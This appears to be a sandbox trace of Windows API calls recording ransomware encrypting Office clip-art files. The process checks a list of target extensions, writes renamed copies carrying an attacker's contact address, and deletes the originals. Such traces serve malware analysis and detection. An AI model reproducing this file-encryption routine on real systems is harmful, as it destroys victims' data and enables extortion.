	[0207.566] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec0 | out: lpNewFilePointer=0x0) returned 1
	[0207.566] SetEndOfFile (hFile=0x38c) returned 1
	[0207.567] CloseHandle (hObject=0x38c) returned 1
	[0207.567] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0207.567] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01660_.wmf")) returned 1
	[0207.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68
	[0207.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68
	[0207.568] lstrlenW (lpString=".doc") returned 4
	[0207.568] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0207.568] lstrlenW (lpString=".docx") returned 5
	[0207.568] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0207.568] lstrlenW (lpString=".pdf") returned 4
	[0207.568] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0207.568] lstrlenW (lpString=".xls") returned 4
	[0207.568] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0207.568] lstrlenW (lpString=".xlsx") returned 5
	[0207.568] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0207.568] lstrlenW (lpString=".ppt") returned 4
	[0207.568] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0207.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68
	[0207.568] lstrlenW (lpString=".zip") returned 4
	[0207.568] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0207.568] lstrlenW (lpString=".rar") returned 4
	[0207.568] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0207.568] lstrlenW (lpString=".bz2") returned 4
	[0207.568] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0207.569] lstrlenW (lpString=".7z") returned 3
	[0207.569] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0207.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68
	[0207.569] lstrlenW (lpString=".dbf") returned 4
	[0207.569] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0207.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68
	[0207.569] lstrlenW (lpString=".1cd") returned 4
	[0207.569] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0207.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68
	[0207.569] lstrlenW (lpString=".jpg") returned 4
	[0207.569] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0207.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68
	[0207.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68
	[0207.569] lstrlenW (lpString=".doc") returned 4
	[0207.569] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0207.569] lstrlenW (lpString=".docx") returned 5
	[0207.569] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0207.569] lstrlenW (lpString=".pdf") returned 4
	[0207.569] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0207.569] lstrlenW (lpString=".xls") returned 4
	[0207.569] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0207.569] lstrlenW (lpString=".xlsx") returned 5
	[0207.569] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0207.569] lstrlenW (lpString=".ppt") returned 4
	[0207.569] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0207.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68
	[0207.569] lstrlenW (lpString=".zip") returned 4
	[0207.569] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0207.569] lstrlenW (lpString=".rar") returned 4
	[0207.569] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0207.569] lstrlenW (lpString=".bz2") returned 4
	[0207.569] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0207.570] lstrlenW (lpString=".7z") returned 3
	[0207.570] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0207.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68
	[0207.570] lstrlenW (lpString=".dbf") returned 4
	[0207.570] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0207.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68
	[0207.570] lstrlenW (lpString=".1cd") returned 4
	[0207.570] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0207.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68
	[0207.570] lstrlenW (lpString=".jpg") returned 4
	[0207.570] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0207.570] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0207.570] lstrlenW (lpString="HH00057_.WMF") returned 12
	[0207.570] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00057_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0207.570] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x303ff14 | out: lpFileSize=0x303ff14*=3764) returned 1
	[0207.570] CloseHandle (hObject=0x38c) returned 1
	[0207.570] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00057_.wmf")) returned 0x220
	[0207.571] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00057_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0207.571] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00057_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0207.571] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec0 | out: lpNewFilePointer=0x0) returned 1
	[0207.571] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec0 | out: lpNewFilePointer=0x0) returned 1
	[0207.571] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00057_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0207.572] GetLastError () returned 0x0
	[0207.572] ReadFile (in: hFile=0x38c, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x303fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x303fecc*=0xeb4, lpOverlapped=0x0) returned 1
	[0207.573] WriteFile (in: hFile=0x350, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0xec0, lpNumberOfBytesWritten=0x303fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x303fc94*=0xec0, lpOverlapped=0x0) returned 1
	[0207.574] ReadFile (in: hFile=0x38c, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x303fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x303fecc*=0x0, lpOverlapped=0x0) returned 1
	[0207.574] WriteFile (in: hFile=0x350, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x303fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x303fc94*=0xec, lpOverlapped=0x0) returned 1
	[0207.574] SetEndOfFile (hFile=0x350) returned 1
	[0207.575] CloseHandle (hObject=0x350) returned 1
	[0207.575] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec0 | out: lpNewFilePointer=0x0) returned 1
	[0207.575] SetEndOfFile (hFile=0x38c) returned 1
	[0207.576] CloseHandle (hObject=0x38c) returned 1
	[0207.576] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0207.576] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00057_.wmf")) returned 1
	[0207.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68
	[0207.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68
	[0207.591] lstrlenW (lpString=".doc") returned 4
	[0207.591] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0207.591] lstrlenW (lpString=".docx") returned 5
	[0207.591] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0207.591] lstrlenW (lpString=".pdf") returned 4
	[0207.591] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0207.591] lstrlenW (lpString=".xls") returned 4
	[0207.591] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0207.591] lstrlenW (lpString=".xlsx") returned 5
	[0207.591] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0207.592] lstrlenW (lpString=".ppt") returned 4
	[0207.592] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0207.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68
	[0207.592] lstrlenW (lpString=".zip") returned 4
	[0207.592] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0207.592] lstrlenW (lpString=".rar") returned 4
	[0207.592] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0207.592] lstrlenW (lpString=".bz2") returned 4
	[0207.592] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0207.592] lstrlenW (lpString=".7z") returned 3
	[0207.592] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0207.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68
	[0207.592] lstrlenW (lpString=".dbf") returned 4
	[0207.592] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0207.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68
	[0207.592] lstrlenW (lpString=".1cd") returned 4
	[0207.592] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0207.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68
	[0207.592] lstrlenW (lpString=".jpg") returned 4
	[0207.592] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0207.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68
	[0207.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68
	[0207.592] lstrlenW (lpString=".doc") returned 4
	[0207.592] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0207.592] lstrlenW (lpString=".docx") returned 5
	[0207.592] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0207.592] lstrlenW (lpString=".pdf") returned 4
	[0207.592] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0207.592] lstrlenW (lpString=".xls") returned 4
	[0207.592] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0207.593] lstrlenW (lpString=".xlsx") returned 5
	[0207.593] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0207.593] lstrlenW (lpString=".ppt") returned 4
	[0207.593] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0207.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68
	[0207.593] lstrlenW (lpString=".zip") returned 4
	[0207.593] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0207.593] lstrlenW (lpString=".rar") returned 4
	[0207.593] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0207.593] lstrlenW (lpString=".bz2") returned 4
	[0207.593] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0207.593] lstrlenW (lpString=".7z") returned 3
	[0207.593] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0207.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68
	[0207.593] lstrlenW (lpString=".dbf") returned 4
	[0207.593] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0207.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68
	[0207.593] lstrlenW (lpString=".1cd") returned 4
	[0207.593] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0207.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68
	[0207.593] lstrlenW (lpString=".jpg") returned 4
	[0207.593] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0207.593] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0207.593] lstrlenW (lpString="HH00084_.WMF") returned 12
	[0207.593] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00084_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0207.594] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x303ff14 | out: lpFileSize=0x303ff14*=2472) returned 1
	[0207.594] CloseHandle (hObject=0x38c) returned 1
	[0207.594] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00084_.wmf")) returned 0x220
	[0207.594] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00084_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0207.594] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00084_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0207.594] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec0 | out: lpNewFilePointer=0x0) returned 1
	[0207.594] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec0 | out: lpNewFilePointer=0x0) returned 1
	[0207.594] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00084_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0207.595] GetLastError () returned 0x0
	[0207.595] ReadFile (in: hFile=0x38c, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x303fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x303fecc*=0x9a8, lpOverlapped=0x0) returned 1
	[0207.596] WriteFile (in: hFile=0x350, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0x9b0, lpNumberOfBytesWritten=0x303fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x303fc94*=0x9b0, lpOverlapped=0x0) returned 1
	[0207.597] ReadFile (in: hFile=0x38c, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x303fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x303fecc*=0x0, lpOverlapped=0x0) returned 1
	[0207.598] WriteFile (in: hFile=0x350, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x303fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x303fc94*=0xec, lpOverlapped=0x0) returned 1
	[0207.598] SetEndOfFile (hFile=0x350) returned 1
	[0207.598] CloseHandle (hObject=0x350) returned 1
	[0207.598] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec0 | out: lpNewFilePointer=0x0) returned 1
	[0207.598] SetEndOfFile (hFile=0x38c) returned 1
	[0207.599] CloseHandle (hObject=0x38c) returned 1
	[0207.599] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0207.599] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00084_.wmf")) returned 1
	[0207.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68
	[0207.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68
	[0207.600] lstrlenW (lpString=".doc") returned 4
	[0207.600] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0207.600] lstrlenW (lpString=".docx") returned 5
	[0207.600] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0207.600] lstrlenW (lpString=".pdf") returned 4
	[0207.600] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0207.600] lstrlenW (lpString=".xls") returned 4
	[0207.600] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0207.600] lstrlenW (lpString=".xlsx") returned 5
	[0207.600] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0207.600] lstrlenW (lpString=".ppt") returned 4
	[0207.600] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0207.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68
	[0207.600] lstrlenW (lpString=".zip") returned 4
	[0207.600] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0207.600] lstrlenW (lpString=".rar") returned 4
	[0207.600] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0207.600] lstrlenW (lpString=".bz2") returned 4
	[0207.600] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0207.600] lstrlenW (lpString=".7z") returned 3
	[0207.600] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0207.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68
	[0207.601] lstrlenW (lpString=".dbf") returned 4
	[0207.601] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0207.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68
	[0207.601] lstrlenW (lpString=".1cd") returned 4
	[0207.601] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0207.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68
	[0207.601] lstrlenW (lpString=".jpg") returned 4
	[0207.601] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0207.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68
	[0207.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68
	[0207.601] lstrlenW (lpString=".doc") returned 4
	[0207.601] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0207.601] lstrlenW (lpString=".docx") returned 5
	[0207.601] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0207.601] lstrlenW (lpString=".pdf") returned 4
	[0207.601] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0207.601] lstrlenW (lpString=".xls") returned 4
	[0207.601] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0207.601] lstrlenW (lpString=".xlsx") returned 5
	[0207.601] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0207.601] lstrlenW (lpString=".ppt") returned 4
	[0207.601] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0207.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68
	[0207.601] lstrlenW (lpString=".zip") returned 4
	[0207.601] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0207.601] lstrlenW (lpString=".rar") returned 4
	[0207.601] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0207.601] lstrlenW (lpString=".bz2") returned 4
	[0207.601] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0207.601] lstrlenW (lpString=".7z") returned 3
	[0207.601] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0207.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68
	[0207.602] lstrlenW (lpString=".dbf") returned 4
	[0207.602] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0207.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68
	[0207.602] lstrlenW (lpString=".1cd") returned 4
	[0207.602] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0207.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68
	[0207.602] lstrlenW (lpString=".jpg") returned 4
	[0207.602] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0207.602] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0207.602] lstrlenW (lpString="HH00231_.WMF") returned 12
	[0207.602] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00231_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0207.602] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x303ff14 | out: lpFileSize=0x303ff14*=2232) returned 1
	[0207.602] CloseHandle (hObject=0x38c) returned 1
	[0207.602] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00231_.wmf")) returned 0x220
	[0207.602] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00231_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0207.603] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00231_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0207.603] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec0 | out: lpNewFilePointer=0x0) returned 1
	[0207.603] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec0 | out: lpNewFilePointer=0x0) returned 1
	[0207.603] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00231_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0207.604] GetLastError () returned 0x0
	[0207.604] ReadFile (in: hFile=0x38c, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x303fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x303fecc*=0x8b8, lpOverlapped=0x0) returned 1
	[0207.605] WriteFile (in: hFile=0x350, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0x8c0, lpNumberOfBytesWritten=0x303fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x303fc94*=0x8c0, lpOverlapped=0x0) returned 1
	[0207.606] ReadFile (in: hFile=0x38c, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x303fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x303fecc*=0x0, lpOverlapped=0x0) returned 1
	[0207.606] WriteFile (in: hFile=0x350, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x303fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x303fc94*=0xec, lpOverlapped=0x0) returned 1
	[0207.606] SetEndOfFile (hFile=0x350) returned 1
	[0207.606] CloseHandle (hObject=0x350) returned 1
